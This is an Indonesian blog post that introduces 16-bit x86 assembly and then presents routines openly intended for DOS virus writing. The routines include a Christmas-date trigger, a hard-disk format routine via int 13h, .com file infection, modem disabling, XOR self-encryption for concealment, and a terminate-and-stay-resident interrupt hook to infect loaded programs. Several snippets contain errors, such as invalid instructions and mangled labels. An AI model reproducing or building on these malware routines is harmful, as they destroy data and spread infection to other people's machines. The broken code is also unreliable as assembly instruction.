Sekilas Asm 16 bit.
Ok sebelum mulai kita adakan sedikit intro tentang asm 16 bit. Dalam model pemrograman asm 16 bit kita masih banyak menjumpai register 8 bit misal: ah,al,bh,bl,ch,cl,dh,dl
sedangkan register 2 dalam model pemrograman asm 16 bit adalah: ax,bx,cx,dx,sp,bp,di,si,ip
sedikit info tambahan:
register 2 seperti ax,bx,cx,dx merupakan register akumulator serba guna
register ip merupakan register yang mengalamati isntruksi selanjutnya (instruction pointer), merujuk ke return address
resiter sp (stack pointer) merupakan sebuah alamat memori yang biasa disebut sebagai stack yang menganut sistem kerja LIFO (Last in first Out) -> yg pernah belajar akuntansi biaya pasti ngerti sistem tumpukan lifo ini.
Beberapa instruksi Dasar asm
lea : load effective address , misal lea dx,offset pesan -> menghitung alamat memori secara efektif dari variabel pesan ke register dx
jz : jump if zero -> locat jika tidak ada sisa atau zero (misal setelah cmp atau div)
jc: jump if carry -> loncat jika ada sisa
cmp : compare 2 buah register
mov : move, misal: mov ah,00
call: panggil -> untuk memanggil suatu makro
push : dorong -> memasukkan data ke stack
pop : ambil -> mengambil data dari stack
div : divide -> membagi
add: add-> menambah
adc : add if carry (carry=sisa), tambah jika ada sisa
jmp :jump -> loncat ke suatu makro
jnz: jump if not zero -> kebalikan dari jump if zero
int: interup -> pemanggilan interup (daftar interup dan syarat 2 pengisian register bisa dilihat di http://www.htl-steyr.ac.at
xor exclusive or (biasa digunakan untuk mereset atau mengosongkan register)
movs = Move Data from String to String
movsb =Move Data from String to Byte
dll...
ok langsung aja kita lanjut ke contoh-contoh rutin virus asm 16 byte
Teknik Timing Bomb
Teknik pemrograman virus yang bekerja dengan cara pengecekan jam di bios komputer, contoh kode asm untuk mengecek tanggal di bios dengan menggunakan interup 1 a fungsi 4 (daftar fungsi 2 interup di ms dos bisa anda lihat di http://www.htl-steyr.ac.at
pesan db 'Selamat Hari Natal dari sang virus hahahaha',0dh,0ah,'$'
rutin_timer:
xor cx,cx ; reset register cx
mov ah, 04h ; syarat penggunaan int 1 a, ah harus diisi 4 hexa
int 1A ; eksekusi interup 1 a fungsi 4 hexa
;cek hasil eksekusi di register dx
cmp dx,2512 ; 2512 apakah tanggal 25 desember
jz makro_aksi_virus ; jump if zero ke makro_aksi_virus
makro_aksi_virus:
mov ah,09h ;syarat int 21h 09h , register ah harus diisi nilai 9 hexa
lea dx, offset pesan ; load effective address ke register dx
int 21h ;interup dos fungsi 21 hexa
Rutin Perusak Sistem
ok berikut ini adalah contoh rutin yang dibundel dalam makro perusak untuk merusak suatu sistem dengan cara melakukan pemformatan terhadap drive dari track 0 hardisk (misal hardisk drive 0)
perusak:
mov ah,05
mov cx,0
mov dh,0
mov dl, 80h
lea es,bx
int 13 h ; eksekusi int 13 hexa fungsi ke 5
Rutin Infeksi pada file .com
Untuk membuat virus non overwriting target file akan sangat kompleks karena ada perhitungan psp header file, untuk kali ini saya akan memberikan contoh teknik infeksi file dengan metode ini.
pertama virus menghitung size file lama dikurangi 3 byte.
(pada dasarnya teknik ini bukan benar2 tidak melakukan penimpaan terhadap file tapi tetap dilakukan penggantian beberapa byte kode di header file berekstensi .com)
contoh rutin untuk mengganti byte asli file :
mov di, 100h
mov di, offset simpan_byte ;simpan byte sudah didefinisikan
movsw ;konvert string ke word
movsb ;konvert string ke byte
;mengembalikan kontrol ke program asli
mov di, 100h
jmp di
Mematikan Koneksi Internet Wireless di laptop dengan virus
berikut ini sample virus yang menyebalkan yang berusaha mematikan koneksi internet anda yang dibundel dalam makro
matikan_internal_modem:
mov ah,44h
mov al,00
int 15 h
Mengamankan keberadaan virus dengan enksripsi xor
contoh rutin:
enkripsi_val db ?
decrypt:
enkripsi:
mov ah, enkripsi_val
mov cx, bagian_enkrip_end-bagian_e
mov si, bagian_enkrip_start
mov di,si
xor loop:
lodsb
xor al,ah
stosb
loop xor_loop
ret
Teknik TSR (Terminate and Stay Resident)
Teknik ini akan membuat virus resident yang akan menginfeksi setiap program yang diload di memori. misal dengan menggunakan interup 21 h fungsi 25 h
(AH = 25h
AL = interrupt number
DSX = pointer to interrupt handler
returns nothing
- provides a safe method for changing interrupt vectors
)
ok mari kita tengok lebih lanjut tentang metode ini,
sample makro yang menggunakan metode ini:
;awal rutin residen
bios_routine:
mov ah,25h ; set alamat vektor interup
mov al,13 h ; interup ke sekian akan diset ke dalam al
mov dx, offset kode_virus ; hasil int 13 h ke sekian merujuk ke kode virus
int 21h ; gunakan interup 21 h fungsi 25 h
mov dv, offset bios_routine
int 27h
bios_routine ENDP ;akhir makro residen
0 komentar:
Posting Komentar